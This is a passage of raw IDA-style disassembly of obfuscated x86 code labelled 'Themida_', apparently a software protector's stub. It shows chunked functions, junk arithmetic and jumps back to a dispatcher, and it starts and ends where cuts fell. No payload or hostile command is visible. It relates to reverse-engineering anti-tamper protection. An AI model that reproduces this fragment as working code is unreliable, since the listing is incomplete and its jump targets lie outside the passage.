jmp loc_58489E ; --------------------------------------------------------------------------- loc_586909: ; CODE XREF: Themida_:0058C915j sub ebx, 4 xchg ebx, [esp] pop esp push 3BF8h push esp pop dword ptr [esp] jmp loc_585F5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58691E: ; CODE XREF: sub_585452+5553j add esi, 4 sub esi, 4 xchg esi, [esp+46h+var_48+2] mov esp, [esp+46h+var_48+2] jmp loc_58E7C7 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BE98 loc_586935: ; CODE XREF: sub_58BE98+351Fj sub edi, 0FC1FDC94h mov edx, edi mov edi, [esp+4+var_4] add esp, 4 jmp loc_584433 ; END OF FUNCTION CHUNK FOR sub_58BE98 ; --------------------------------------------------------------------------- loc_58694B: ; CODE XREF: Themida_:00584E6Dj movzx eax, al pop dword ptr [edi+eax*4] jmp loc_583C20 ; --------------------------------------------------------------------------- loc_586956: ; CODE XREF: Themida_:00586E6Aj sub edx, 4 xchg edx, [esp] pop esp push esp pop dword ptr [esp] add dword ptr [esp], 4 pop ecx jmp loc_5848BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58999B loc_586971: ; CODE XREF: sub_58999B+358Aj pop ebx add ebx, eax pop eax jmp loc_58FE24 ; END OF FUNCTION CHUNK FOR sub_58999B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C92B loc_58697A: ; CODE XREF: sub_58C92B-86E4j dec ebx jmp loc_58473D ; END OF FUNCTION CHUNK FOR sub_58C92B ; --------------------------------------------------------------------------- loc_586980: ; CODE XREF: Themida_:005875AAj sub ebp, 350D16CEh add ebp, 5C76968h inc ebp add ebp, 185FA5A7h add edx, ebp pop ebp jmp loc_586D72 ; --------------------------------------------------------------------------- loc_58699B: ; CODE XREF: Themida_:00584279j mov eax, 75C01476h or eax, 385D3411h sub eax, 0C4910F8h shr eax, 7 jmp loc_58CA63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5869B2: ; CODE XREF: sub_585452+674Dj add esp, 4 push ecx mov ecx, 792D4E69h dec ecx sub ecx, 65640BCEh shr ecx, 3 add ecx, 0D1EF2DCEh sub edx, ecx jmp loc_58F777 ; --------------------------------------------------------------------------- loc_5869D2: ; CODE XREF: sub_585452-CDCj mov [esp+0], ebx jmp loc_58BA71 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_587574 loc_5869DA: ; CODE XREF: sub_587574+318Ej mov edi, 5E5D386Ah shl edi, 5 add edi, 3C2F4F05h sub eax, edi pop edi add eax, edi push 2407h jmp loc_58FB27 ; --------------------------------------------------------------------------- loc_5869F7: ; CODE XREF: sub_587574+85BBj add eax, ebx mov ebx, [esp+0] add esp, 4 mov dword ptr [eax], 1 pop eax push ebx mov ebx, 26FC5689h mov [edi+24h], ebx pop ebx xor [edi+24h], edx xor edx, [edi+24h] xor [edi+24h], edx neg edx xchg edx, [edi+24h] jmp loc_58840E ; END OF FUNCTION CHUNK FOR sub_587574 ; --------------------------------------------------------------------------- loc_586A26: ; CODE XREF: Themida_:0058FE4Ej add esp, 4 push small word ptr [eax] jmp loc_583C20 ; =============== S U B R O U T I N E ======================================= sub_586A34 proc near ; CODE XREF: sub_585452+6F81j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005840B1 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0058523A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005881C2 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0058985A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058B9C7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058C03C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058C706 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0058D532 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058DABD SIZE 00000014 BYTES sub esp, 4 mov [esp+4+var_4], ebx mov ebx, 5DCB3DFBh mov eax, ebx jmp loc_58523A sub_586A34 endp ; --------------------------------------------------------------------------- loc_586A49: ; CODE XREF: Themida_:00584EFAj push ecx mov ecx, 3C0F6D8Eh jmp loc_589460 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_586A54: ; CODE XREF: sub_585452+9391j movzx cx, al push cx pushf jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_586A60: ; CODE XREF: Themida_:00587302j push 0E95h mov [esp], edx push eax mov eax, 600F426Ch xor eax, 24E4B83Eh push eax sub dword ptr [esp], 34FC7425h pop edx add edx, 34FC7425h pop eax mov edi, edx jmp loc_584F85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_586A8A: ; CODE XREF: sub_585452+273Dj push eax push edx mov dl, 19h jmp loc_584EAD ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- mov ax, [esp] push edi push esp pop edi push 3957h mov [esp], ebx mov ebx, 4 add edi, 35EE5CD9h add edi, ebx sub edi, 35EE5CD9h mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_5895D6 ; --------------------------------------------------------------------------- pop small word ptr [edx] jmp loc_583C20 ; --------------------------------------------------------------------------- loc_586ACE: ; CODE XREF: Themida_:0058F54Fj add eax, 22314055h add eax, esi jmp loc_588606 ; --------------------------------------------------------------------------- loc_586ADA: ; CODE XREF: Themida_:00589910j pop edx jmp loc_589867 ; --------------------------------------------------------------------------- movzx ax, byte ptr [edx] push small 7AE2h mov [esp], ax jmp loc_583C20 ; --------------------------------------------------------------------------- loc_586AF1: ; CODE XREF: Themida_:0058CAACj mov ecx, esp push eax jmp loc_5849A4 ; --------------------------------------------------------------------------- loc_586AF9: ; CODE XREF: Themida_:005894BAj mov [esp], ebx jmp loc_5853AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DEA3 loc_586B01: ; CODE XREF: sub_58DEA3-8CC8j push 20CDh mov [esp], edx jmp loc_587712 ; END OF FUNCTION CHUNK FOR sub_58DEA3 ; =============== S U B R O U T I N E ======================================= sub_586B0E proc near ; CODE XREF: sub_585452+1C9Bj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058AD8B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058DEF5 SIZE 0000000A BYTES sub esp, 4 mov [esp+4+var_4], edi jmp loc_58DEF5 sub_586B0E endp ; --------------------------------------------------------------------------- loc_586B1C: ; CODE XREF: Themida_:0058B199j mov [esp], edi mov edi, 25333428h mov eax, 529E2B63h add eax, edi pop edi jmp loc_58F661 ; --------------------------------------------------------------------------- neg word ptr [esp] pushf jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_587574 loc_586B3B: ; CODE XREF: sub_587574+23BDj xchg eax, edx neg edx xchg eax, edx or eax, 46AA68A1h jmp loc_58F5F0 ; END OF FUNCTION CHUNK FOR sub_587574 ; --------------------------------------------------------------------------- loc_586B49: ; CODE XREF: Themida_:00587394j mov edx, 4 add eax, edx jmp loc_589A18 ; --------------------------------------------------------------------------- loc_586B55: ; CODE XREF: Themida_:0058520Bj mov esp, [esp] add esp, 4 inc dword ptr [esp] pushf jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_586B67: ; CODE XREF: sub_58FA66+204j xor [esp-4+arg_0], ecx xor ecx, [esp-4+arg_0] xor [esp-4+arg_0], ecx jmp loc_58FDEC ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_586B75: ; CODE XREF: sub_585452-D86j add ecx, esi pop esi push ecx push [esp+arg_0] pop ecx jmp loc_58B28C ; --------------------------------------------------------------------------- loc_586B83: ; CODE XREF: sub_585452-4ACj add edi, 4 add edi, 4 xchg edi, [esp-0Ah+arg_4+2] jmp loc_589915 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_586B94: ; CODE XREF: Themida_:0058428Dj pop edx add edi, 4 jmp loc_58586C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_586B9D: ; CODE XREF: sub_585452+AB2Ej mov [esp-0Ah+arg_4+2], ebp mov ebp, 78424D59h inc ebp sub ebp, 0FD7710FBh jmp loc_589BA3 ; --------------------------------------------------------------------------- loc_586BB1: ; CODE XREF: sub_585452-928j push edi pop edx mov edi, [esp+0] add esp, 4 or edx, 2B312FAh xchg edi, edx not edi xchg edi, edx inc edx jmp loc_58DA3F ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_586BCB: ; CODE XREF: Themida_:0058ECD6j push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop edx add esp, 4 add esp, 4 add esp, 4 or eax, eax jz loc_589CF3 push ecx push 5908h mov [esp], edx mov edx, 0FEh push edi mov edi, edx mov ecx, edi mov edi, [esp] add esp, 4 mov edx, [esp] add esp, 4 and [edi+1Ch], ecx jmp loc_58E5E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_586C13: ; CODE XREF: sub_585452+64E6j mov dh, 0E8h and dh, 4Bh or dh, 0D2h push ebx mov bh, 0BAh add bh, 0FFh jmp loc_5875E4 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_586C26: ; CODE XREF: Themida_:00586D9Dj pop dword ptr [esp] pop esp xor [esp], ax pushf jmp loc_583C20 ; --------------------------------------------------------------------------- loc_586C34: ; CODE XREF: Themida_:00586E54j sub ebx, 7D2254F7h shl ebx, 6 inc ebx push ebx push esi pop ebx pop esi jmp loc_58F06C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_586C47: ; CODE XREF: sub_585452+75j mov bh, 9Dh jmp loc_58BD67 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_586C4E: ; CODE XREF: Themida_:0058B9F1j add ebp, 4 sub ebp, 4 jmp loc_585CBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BCA7 loc_586C5C: ; CODE XREF: sub_58BCA7-588Fj add esp, 4 and eax, ebp mov ebp, [esp+0] sub esp, 4 jmp loc_584255 ; END OF FUNCTION CHUNK FOR sub_58BCA7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_586C6F: ; CODE XREF: sub_585452+38CAj push 3C94h mov [esp+0Eh+var_10+2], esi mov esi, 0DBB71E7h jmp loc_58E55B ; --------------------------------------------------------------------------- loc_586C81: ; CODE XREF: sub_585452+70A1j push 599Dh jmp loc_58DBE5 ; --------------------------------------------------------------------------- loc_586C8B: ; CODE XREF: sub_585452+7CE1j push [esp+12h+var_14+2] pop edx jmp loc_587FF0 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58960C loc_586C94: ; CODE XREF: sub_58960C-DA4j mov ebp, ebx jmp loc_58A29B ; END OF FUNCTION CHUNK FOR sub_58960C ; --------------------------------------------------------------------------- loc_586C9B: ; CODE XREF: Themida_:0058C6EAj pop ebx jmp loc_5866FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DA2E loc_586CA1: ; CODE XREF: sub_58DA2E+7j push eax jmp loc_5867F5 ; END OF FUNCTION CHUNK FOR sub_58DA2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E6C2 loc_586CA7: ; CODE XREF: sub_58E6C2+9j mov [esp+8+var_8], esp add [esp+8+var_8], 4 mov ebp, [esp+8+var_8] add esp, 4 push edx push edi mov edi, 3EE14AB8h mov edx, 3EE14ABCh xor edx, edi pop edi add ebp, edx push [esp+8+var_8] pop edx add esp, 4 add ebp, 2 jmp sub_586F2E ; END OF FUNCTION CHUNK FOR sub_58E6C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_586CD7: ; CODE XREF: sub_585452+5DA9j pop ebx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+12h+var_14+2] pop esp mov [esp+0Eh+var_10+2], edx mov edx, 6ACD2899h jmp loc_58D736 ; --------------------------------------------------------------------------- loc_586CF5: ; CODE XREF: sub_585452+39E3j mov [esp+0Eh+var_10+2], edi mov edi, 21CB4B2Bh push ebp mov ebp, 6AB67118h jmp loc_58CDE7 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_586D08: ; CODE XREF: Themida_:0058D6EEj mov ebp, [esp] add esp, 4 push ecx jmp loc_5852A9 ; --------------------------------------------------------------------------- loc_586D14: ; CODE XREF: Themida_:0058E209j xchg ecx, [esp] pop esp jmp loc_589906 ; --------------------------------------------------------------------------- loc_586D1D: ; CODE XREF: Themida_:005845C1j add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_58BA39 ; --------------------------------------------------------------------------- loc_586D31: ; CODE XREF: Themida_:0058801Ej add bl, al push 5EB6h mov [esp], ecx mov cl, 0C5h or cl, 8Ah push ebx mov bh, 6Ch jmp loc_5886D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_586D48: ; CODE XREF: sub_585452+29Bj pop [esp+0Ah+var_C+2] mov esp, [esp+6+var_8+2] mov cx, word ptr [esp+6+var_8+2] push 7C97h mov [esp+0Ah+var_C+2], esi push esp jmp loc_58C3D1 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D7D9 loc_586D60: ; CODE XREF: sub_58D7D9-125j pop [esp+8+var_8] mov esp, [esp+4+var_4] push esi push edi mov edi, 105F11ECh jmp loc_5877E3 ; END OF FUNCTION CHUNK FOR sub_58D7D9 ; --------------------------------------------------------------------------- loc_586D72: ; CODE XREF: Themida_:00586996j xchg edx, [esp] pop esp push eax push 1FB5h mov [esp], edx push 0EFE0C5Eh push dword ptr [esp] jmp loc_58E475 ; --------------------------------------------------------------------------- loc_586D8C: ; CODE XREF: Themida_:005898DBj add ebx, ebp pop ebp add esi, ebx pop ebx push esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 jmp loc_586C26 ; --------------------------------------------------------------------------- loc_586DA2: ; CODE XREF: Themida_:00585FF3j mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop dword ptr [esp] mov esp, [esp] mul ecx push 1463h mov [esp], edx push eax pushf jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_586DCC: ; CODE XREF: sub_585452+9284j add edx, eax pop eax sub edx, 4 xchg edx, [esp+0Ah+var_C+2] pop esp mov [esp+6+var_8+2], ebp jmp loc_58A743 ; --------------------------------------------------------------------------- loc_586DDE: ; CODE XREF: sub_585452+6A72j dec eax shl eax, 8 jmp loc_588E63 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_586DE7: ; CODE XREF: Themida_:0058F28Fj push esi mov esi, 3A96758Dh sub [esp+4], esi pop esi mov eax, [esp] jmp loc_5877A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_586DFA: ; CODE XREF: sub_585452+9370j push edi mov edi, 6F51316h shr edi, 4 xchg eax, edi inc eax xchg eax, edi jmp loc_58858F ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_586E0B: ; CODE XREF: Themida_:005888D0j pop ebp add ebp, 4 push edi mov edi, 4 add ebp, edi pop edi xor ebp, [esp] jmp loc_58C04E ; --------------------------------------------------------------------------- loc_586E23: ; CODE XREF: Themida_:0058C4A1j mov ah, 0CCh or cl, ah mov ax, [esp] add esp, 2 shr cl, 8 add cl, 0D8h dec cl not cl add cl, 0DFh add al, cl pop ecx push ecx push 623Ah jmp loc_5845C6 ; --------------------------------------------------------------------------- loc_586E4C: ; CODE XREF: Themida_:00586ECDj mov ebx, 0F0821FDh shr ebx, 8 jmp loc_586C34 ; --------------------------------------------------------------------------- loc_586E59: ; CODE XREF: Themida_:0058D4ABj push 4E44h mov [esp], ecx push edx push esp pop edx add edx, 4 jmp loc_586956 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B758 loc_586E6F: ; CODE XREF: sub_58B758+15C2j add edx, ebp push esi push 34CE2C2Bh pop esi add edx, esi pop esi jmp loc_58ECE2 ; END OF FUNCTION CHUNK FOR sub_58B758 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589967 loc_586E80: ; CODE XREF: sub_589967+371Dj not dword ptr [esp+0] jmp loc_58F0F9 ; END OF FUNCTION CHUNK FOR sub_589967 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DEA3 loc_586E88: ; CODE XREF: sub_58DEA3-9724j or cl, 5Eh xor cl, 0BDh shl cl, 1 jmp loc_5851C3 ; END OF FUNCTION CHUNK FOR sub_58DEA3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_586E95: ; CODE XREF: sub_58FA66-A6EAj pop eax push ecx push 3519h mov [esp+8+var_8], esi mov esi, 1 mov ecx, esi push [esp+8+var_8] pop esi push 3580h mov [esp+0Ch+var_C], ecx jmp loc_587FC8 ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_586EB7: ; CODE XREF: sub_585452+7EBAj push esp jmp loc_589109 ; --------------------------------------------------------------------------- loc_586EBD: ; CODE XREF: sub_585452+7DBFj mov [esp+0Eh+var_10+2], eax jmp loc_586FBB ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_586EC5: ; CODE XREF: Themida_:0058BCDDj push 560Eh mov [esp], ebx jmp loc_586E4C ; --------------------------------------------------------------------------- loc_586ED2: ; CODE XREF: Themida_:0058EC43j pop edx sub esp, 4 mov [esp], ebx mov ebx, esp jmp loc_58AFC2 ; --------------------------------------------------------------------------- loc_586EE0: ; CODE XREF: Themida_:0058CBBBj xchg bl, ch push bx push ecx mov ch, 17h mov bh, ch mov ecx, [esp] jmp loc_58C264 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_586EF1: ; CODE XREF: sub_585452+901Ej add ebx, esi jmp loc_583D55 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_586EF8: ; CODE XREF: Themida_:00589B13j mov edx, 0F51A95F9h add edx, eax pop eax add ebx, 0C08028Fh add ebx, edx sub ebx, 0C08028Fh mov edx, [esp] jmp loc_58E9C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_586F16: ; CODE XREF: sub_585452+4975j pop eax add esp, 4 and eax, edi pop edi jmp loc_584389 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_586F22: ; CODE XREF: sub_58EFBD-6AA3j sub ebp, 7E602FB5h pop ebx jmp loc_589745 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; =============== S U B R O U T I N E ======================================= sub_586F2E proc near ; CODE XREF: sub_58E6C2-79F0j var_4 = dword ptr -4 arg_0 = word ptr 4 ; FUNCTION CHUNK AT 0058935D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058F958 SIZE 00000010 BYTES push ebp push dword ptr [esp+4] jmp loc_58935D sub_586F2E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_586F38: ; CODE XREF: sub_585452-1342j add [esp+8+var_4], 706161A3h sub [esp+8+var_4], ebp sub [esp+8+var_4], 706161A3h push eax jmp loc_5860C3 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_586F52: ; CODE XREF: Themida_:00589011j mov [esp], edx mov edx, 2 push ebx mov ebx, 781F73F2h xor ebx, 71C07D1Fh sub edi, ebx pop ebx add edi, 61F35348h jmp loc_58EFD4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_586F74: ; CODE XREF: sub_585452-31Ej push 3EC4h mov [esp+6+var_8+2], ebx jmp loc_58B1FA ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58A170 loc_586F81: ; CODE XREF: sub_58A170+2240j pop ecx jmp loc_58E74F ; END OF FUNCTION CHUNK FOR sub_58A170 ; --------------------------------------------------------------------------- loc_586F87: ; CODE XREF: Themida_:005870CDj jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_586F8C: ; CODE XREF: sub_585452-FE7j shr edi, 8 jmp loc_58B7B4 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- lodsd push ecx push eax mov eax, 125145C6h shl eax, 2 jmp loc_58924E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_586FA4: ; CODE XREF: sub_585452+596Dj push esi push edx mov edx, esp jmp loc_58E6D0 ; --------------------------------------------------------------------------- loc_586FAD: ; CODE XREF: sub_585452-1590j mov [esp-4+arg_0], eax sub esp, 4 jmp loc_584A35 ; --------------------------------------------------------------------------- loc_586FBB: ; CODE XREF: sub_585452+1A6Ej mov al, 40h add ch, al mov eax, [esp+0Eh+var_10+2] push edi mov edi, esp jmp loc_58994D ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_586FCA: ; CODE XREF: sub_58FA66-4A82j pop esp and eax, ecx pop ecx or edx, eax shl edx, 1 push ebp jmp loc_584757 ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_586FD8: ; CODE XREF: sub_585452+4C6Cj pop eax xor edx, 4F7ADFE9h push ebp mov ebp, edx mov esi, ebp pop ebp pop edx push 0 sub [esp+0Eh+var_10+2], esi mov esi, [esp+0Eh+var_10+2] add esp, 4 push edi mov edi, 0E4A6079h and esi, edi pop edi or esi, 4E7F7B64h shr esi, 1 jmp loc_588C17 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58700A: ; CODE XREF: Themida_:0058E093j pop edx jmp loc_58B4DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_587010: ; CODE XREF: sub_585452+51D5j push [esp+0Ah+var_8+2] pop ebx jmp loc_58A3C8 ; --------------------------------------------------------------------------- loc_58701A: ; CODE XREF: sub_585452+9F09j sub ebx, 0D4F491Ah jmp loc_58A61D ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], al pushf jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B758 loc_587034: ; CODE XREF: sub_58B758+358Bj mov edi, 15C76CC7h dec edi jmp sub_58F728 ; END OF FUNCTION CHUNK FOR sub_58B758 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58703F: ; CODE XREF: sub_585452+5D2j add ecx, ebx jmp loc_58D17D ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_587046: ; CODE XREF: Themida_:005866EEj mov [esp], eax mov eax, 4 sub esi, 23821540h add esi, eax add esi, 23821540h pop eax push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] xor [esp], eax jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_587071: ; CODE XREF: sub_585452+3BFBj pop edi inc edx sub edx, 8AD725E7h mov edi, edx pop edx jmp loc_583FE2 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- mov eax, [esp] push eax jmp loc_58DC58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58708A: ; CODE XREF: sub_585452+518j push ecx mov ecx, 13FD5AD6h dec ecx add ecx, 0FFFFFFFFh shl ecx, 1 jmp loc_58DAF4 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax sbb [esp], eax pushf jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5870A9: ; CODE XREF: sub_585452+6178j pop ebx push ecx jmp loc_58BD91 ; --------------------------------------------------------------------------- loc_5870B0: ; CODE XREF: sub_585452+A519j push ax jmp loc_58877C ; --------------------------------------------------------------------------- loc_5870B7: ; CODE XREF: sub_585452-762j xor edx, [esp-1Eh+arg_1A] jmp loc_587988 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_5870BF: ; CODE XREF: Themida_:0058F9F8j or bh, 0A4h neg bh dec bh jmp loc_584D91 ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_586F87 ; --------------------------------------------------------------------------- loc_5870D2: ; CODE XREF: Themida_:0058C487j mov [esp], eax push esp mov eax, [esp] add esp, 4 add eax, 4 sub esp, 4 jmp loc_583DB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5870EC: ; CODE XREF: sub_585452+4BD3j push edx jmp sub_586B0E ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_587574 loc_5870F2: ; CODE XREF: sub_587574+EB9j mov eax, 1 sub ecx, eax mov eax, [esp+0] jmp loc_5896AC ; END OF FUNCTION CHUNK FOR sub_587574 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F728 loc_587101: ; CODE XREF: sub_58F728-4105j add ecx, ebx jmp loc_58D9E6 ; END OF FUNCTION CHUNK FOR sub_58F728 ; --------------------------------------------------------------------------- loc_587108: ; CODE XREF: Themida_:00588F16j pop ebx shr ebx, 5 push 2099h mov [esp], edi jmp loc_589AD4 ; --------------------------------------------------------------------------- lodsb push edx jmp loc_58C5BB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_587120: ; CODE XREF: sub_585452-7A4j add esi, edx pop edx and eax, esi mov esi, [esp-28h+arg_24] jmp sub_589967 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- neg byte ptr [esp] pushf jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B5756 loc_587136: ; CODE XREF: sub_5B5756-298D1j mov ch, 0F3h and ch, 8Bh and ch, 9Ah not ch jmp loc_58DD70 ; END OF FUNCTION CHUNK FOR sub_5B5756 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_587145: ; CODE XREF: sub_58EFBD-211Fj pop ecx jmp loc_58E589 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- loc_58714B: ; CODE XREF: Themida_:00589C7Bj mov bl, 16h mov cl, 9 neg cl neg cl add cl, 0D6h add cl, bl pop ebx jmp loc_58C81E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58715E: ; CODE XREF: sub_585452+4E92j xor ebp, 0AC948D64h add ebx, ebp mov ebp, [esp-28h+arg_24] add esp, 4 add ebx, 2 xor ebx, [esp-2Ch+arg_28] jmp loc_586061 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- mov ax, [esp] push ebx push ecx mov ecx, esp add ecx, 4 jmp loc_584FE6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58718D: ; CODE XREF: sub_585452+751j sub ebx, 4 xor ebx, [esp-1Ch+arg_16+2] xor [esp-1Ch+arg_16+2], ebx xor ebx, [esp-1Ch+arg_16+2] pop esp mov [esp-20h+arg_1A+2], ecx jmp loc_58E428 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_5871A5: ; CODE XREF: Themida_:0058D79Aj mov ebx, 56C34B3Ch or ebx, 514D5E03h sub ebx, 62843247h shr ebx, 2 or ebx, 3CD86238h sub esp, 4 mov [esp], edx mov edx, 2FB43E3Eh inc edx xor edx, 6BD4B47h sub ebx, edx pop edx push 934h jmp loc_58CF54 ; --------------------------------------------------------------------------- loc_5871DE: ; CODE XREF: Themida_:0058C96Ej add eax, edi push dword ptr [esp] pop edi jmp loc_587E00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58A5A3 loc_5871E9: ; CODE XREF: sub_58A5A3-54F9j push eax mov eax, 43CB7C98h and eax, 28283DA7h jmp loc_58888C ; END OF FUNCTION CHUNK FOR sub_58A5A3 ; --------------------------------------------------------------------------- loc_5871F9: ; CODE XREF: Themida_:0058DE29j pop edx inc edx xchg edi, edx push 0 sub [esp], edi pop edi xchg edi, edx push edi jmp loc_585C8C ; --------------------------------------------------------------------------- loc_58720E: ; CODE XREF: Themida_:0058A9F1j mov ebx, 1F403EBAh shr ebx, 7 push edx mov edx, 2274341Bh and edx, 23A901E6h neg edx jmp loc_5868E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION 